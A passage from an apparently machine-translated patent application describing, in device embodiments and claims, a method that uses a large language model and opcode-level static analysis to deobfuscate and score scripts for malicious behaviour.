[0218] A second execution module 16, configured to execute the processing operation to be executed on the operation result through the large language model, and trigger the first generation module 13 based on the generated operation result;

[0219] The second generating module 17 is used to comprehensively generate the final detection result according to the operation results of each stage.

[0220] As an optional embodiment, the first generating module is specifically used to dynamically generate a target prompt word through the context awareness function and operation results of the large language model.

[0221] As an optional embodiment, the first execution module is specifically used to: identify the obfuscation feature in the target script through the large language model, and generate an operation result; if the obfuscation feature is identified, the operation result is a code containing the obfuscation feature, and the target prompt word is a restored obfuscated code;

[0222] The first generating module is specifically used to: generate a target prompt word after identifying the obfuscation feature generation operation result in the target script.

[0223] As an optional embodiment, the determination module is specifically used for: if the target prompt word is to restore the obfuscated code, the processing operation to be executed is: to restore the obfuscated code through the large language model; if the target prompt word is structural analysis, the processing operation to be executed is: to analyze the module structure and function call of the code through the large language model; if the target prompt word is deep semantic understanding, the processing operation to be executed is: to analyze the actual function of the semantic understanding of the code through the large language model; if the target prompt word is behavioral feature extraction, the processing operation to be executed is: to extract malicious behavior features through the large language model.

[0224] As an optional embodiment, the second generating module includes:

[0225] A first determination unit is used to determine a code analysis result according to the operation results of each stage; the code analysis result includes at least one of a code obfuscation degree analysis result, a code risk analysis result, a system command analysis result, a network communication analysis result, and a malicious behavior feature analysis result;

[0226] A calculation unit, used to calculate a total risk score according to each type of code analysis result and a weight coefficient corresponding to each type of code analysis result;

[0227] The second determining unit is used to determine the malicious risk rating result of the target code according to the total risk score.

[0228] As an optional embodiment, the device further includes:

[0229] An extraction module, used for extracting the Opcode sequence in the target script;

[0230] A division module, used for dividing the Opcode sequence into a plurality of basic blocks;

[0231] An analysis module, used to analyze multiple basic blocks and generate static analysis results;

[0232] The second judgment module is used to judge whether the target script has malicious behavior according to the static analysis result; if so, trigger the first execution module.

[0233] As an optional embodiment, the analysis module includes:

[0234] An analysis unit, configured to analyze each basic block and generate a basic block analysis result; the basic block analysis result includes: at least one of the occurrence frequency of different instructions, dangerous function call detection results, loop structure complexity, network operation detection results, and file operation detection results;

[0235] The summary unit is used to summarize the analysis results of each basic block to generate static analysis results.

[0236] Regarding the device in the above embodiment, the specific manner in which each module performs operations has been described in detail in the embodiment of the method, and will not be elaborated here.

[0237] See also Figure 5 , Figure 5 A schematic diagram of the structure of an electronic device provided in an embodiment of the present application, the electronic device specifically includes:

[0238] The processor 21, the memory 22 and a computer program stored in the memory 22 and executable on the processor 21, the processor 21 executes the steps of the malicious script detection method described in any of the above method embodiments through the computer program.

[0239] Among them, the processor 21 may include one or more processing cores, such as a 4-core processor, an 8-core processor, etc. The processor 21 may be implemented in at least one hardware form of DSP (Digital Signal Processing), FPGA (Field-Programmable Gate Array), and PLA (Programmable Logic Array). The processor 21 may also include a main processor and a coprocessor. The main processor is a processor for processing data in the awake state, also known as a CPU (Central Processing Unit); the coprocessor is a low-power processor for processing data in the standby state. In some embodiments, the processor 21 may be integrated with a GPU (Graphics Processing Unit), which is responsible for rendering and drawing the content to be displayed on the display screen. In some embodiments, the processor 21 may also include an AI (Artificial Intelligence) processor, which is used to process computing operations related to machine learning.

[0240] The memory 22 may include one or more computer-readable storage media, which may be non-transitory. The memory 22 may also include a high-speed random access memory, and a non-volatile memory, such as one or more disk storage devices, flash memory storage devices. In this embodiment, the memory 22 is at least used to store the following computer program 221, wherein, after the computer program is loaded and executed by the processor 21, it can implement the relevant steps in the malicious script detection method disclosed in any of the aforementioned embodiments. In addition, the resources stored in the memory 22 may also include an operating system 222 and data 223, etc., and the storage method may be temporary storage or permanent storage. Among them, the operating system 222 may include Windows, Unix, Linux, etc.

[0241] In some embodiments, the electronic device may further include a display screen 23 , an input / output interface 24 , a communication interface 25 , a sensor 26 , a power source 27 , and a communication bus 28 .

[0242] certainly, Figure 5The structure of the electronic device shown does not constitute a limitation on the electronic device in the embodiments of the present application. In actual applications, the electronic device may include Figure 5 More or fewer components than shown, or combinations of certain components.

[0243] In another exemplary embodiment, a computer storage medium is also provided, and when the program instructions are executed by a processor, the steps of the malicious script detection method described in any of the above method embodiments are implemented. The storage medium may include: a USB flash drive, a mobile hard disk, a read-only memory (ROM), a random access memory (RAM), a magnetic disk or an optical disk, and other media that can store program codes.

[0244] Optionally, the specific examples in this embodiment may refer to the examples described in the above embodiments, and this embodiment will not be described in detail here.

[0245] It should be understood that the terms used herein are only for the purpose of describing specific example embodiments and are not intended to be limiting. Unless the context clearly indicates otherwise, the singular forms "one", "an" and "said" as used herein may also be meant to include plural forms. The terms "include", "comprise", "contain", and "have" are inclusive, and therefore specify the existence of stated features, steps, operations, elements and / or parts, but do not exclude the existence or addition of one or more other features, steps, operations, elements, parts, and / or combinations thereof. The method steps, processes, and operations described herein are not interpreted as necessarily requiring them to be performed in the specific order described or illustrated, unless the execution order is clearly indicated. It should also be understood that additional or alternative steps may be used.

[0246] The foregoing is merely a specific embodiment of the present invention, which enables those skilled in the art to understand or implement the present invention. Various modifications to these embodiments will be apparent to those skilled in the art, and the general principles defined herein may be implemented in other embodiments without departing from the spirit or scope of the present invention. Therefore, the present invention will not be limited to the embodiments shown herein, but rather to the widest scope consistent with the principles and novel features claimed herein.

Claims

1. A method for detecting malicious scripts, characterized in that: include: Get the target script to be detected; Performing a processing operation on the target script through a large language model to obtain an operation result, and generating a target prompt word according to the operation result; Determining whether the target prompt word is a generated detection result; If not, determining the processing operation to be performed according to the target prompt word; Executing the processing operation to be executed on the operation result through the large language model, and continuing to execute the step of generating the target prompt word according to the operation result based on the generated operation result; If so, the final test result is generated based on the operation results of each stage.

2. The detection method according to claim 1, characterized in that: Generating a target prompt word according to the operation result includes: The target prompt word is dynamically generated through the context awareness function and operation results of the large language model.

3. The detection method according to claim 1, characterized in that: The step of performing a processing operation on the target script by using a large language model to obtain an operation result, and generating a target prompt word according to the operation result includes: The obfuscation features in the target script are identified by the large language model to generate an operation result and a target prompt word; if the obfuscation features are identified, the operation result is a code containing the obfuscation features, and the target prompt word is a restored obfuscated code.

4. The detection method according to claim 1, characterized in that: Determining a processing operation to be performed according to the target prompt word includes: If the target prompt word is a restored obfuscated code, the processing operation to be performed is: restoring the obfuscated code by using the large language model; If the target prompt word is structural analysis, the processing operation to be performed is: analyzing the module structure and function call of the code through the large language model; If the target prompt word is deep semantic understanding, the processing operation to be performed is: analyzing the actual function of the semantic understanding of the code through the large language model; If the target prompt word is behavior feature extraction, the processing operation to be performed is: extracting malicious behavior features through the large language model.

5. The detection method according to claim 1, characterized in that: The final test result is generated comprehensively according to the operation results of each stage, including: Determine the code analysis result according to the operation results of each stage; the code analysis result includes at least one of the code obfuscation degree analysis result, code danger analysis result, system command analysis result, network communication analysis result, and malicious behavior feature analysis result; Calculate the total risk score according to each type of code analysis result and the weight coefficient corresponding to each type of code analysis result; The malicious risk rating result of the target code is determined according to the total risk score.

6. The detection method according to any one of claims 1 to 5, characterized in that: Before the processing operation is performed on the target script by the large language model, the method further includes: Extracting the Opcode sequence in the target script; Dividing the Opcode sequence into a plurality of basic blocks; Analyze multiple basic blocks to generate static analysis results; Determine whether the target script has malicious behavior according to the static analysis result; If yes, the step of performing a processing operation on the target script by using a large language model is performed.

7. The detection method according to claim 6, characterized in that: The step of analyzing the multiple basic blocks to generate static analysis results includes: Analyze each basic block and generate a basic block analysis result; the basic block analysis result includes: at least one of the occurrence frequency of different instructions, dangerous function call detection results, loop structure complexity, network operation detection results, and file operation detection results; Summarize the analysis results of each basic block to generate static analysis results.

8. A malicious script detection device, characterized in that: include: An acquisition module is used to obtain the target script to be detected; A first execution module, configured to execute a processing operation on the target script through a large language model to obtain an operation result; A first generating module, used to generate a target prompt word according to the operation result; A first judgment module is used to judge whether the target prompt word is a generated detection result; if not, trigger the determination module; if yes, trigger the second generation module; A determination module, used to determine a processing operation to be performed according to the target prompt word; a second execution module, configured to execute the processing operation to be executed on the operation result through the large language model, and trigger the first generation module based on the generated operation result; The second generation module is used to comprehensively generate the final detection result according to the operation results of each stage.

9. An electronic device, characterized in that: include: A processor, a memory, and a computer program stored in the memory and executable on the processor, wherein the processor executes the steps of the malicious script detection method described in any one of claims 1 to 7 of the present application through the computer program.

10. A computer storage medium, characterized in that: The computer storage medium stores computer executable instructions, and the computer executable instructions are used to execute the steps of the malicious script detection method described in any one of claims 1 to 7 of the present application.

Images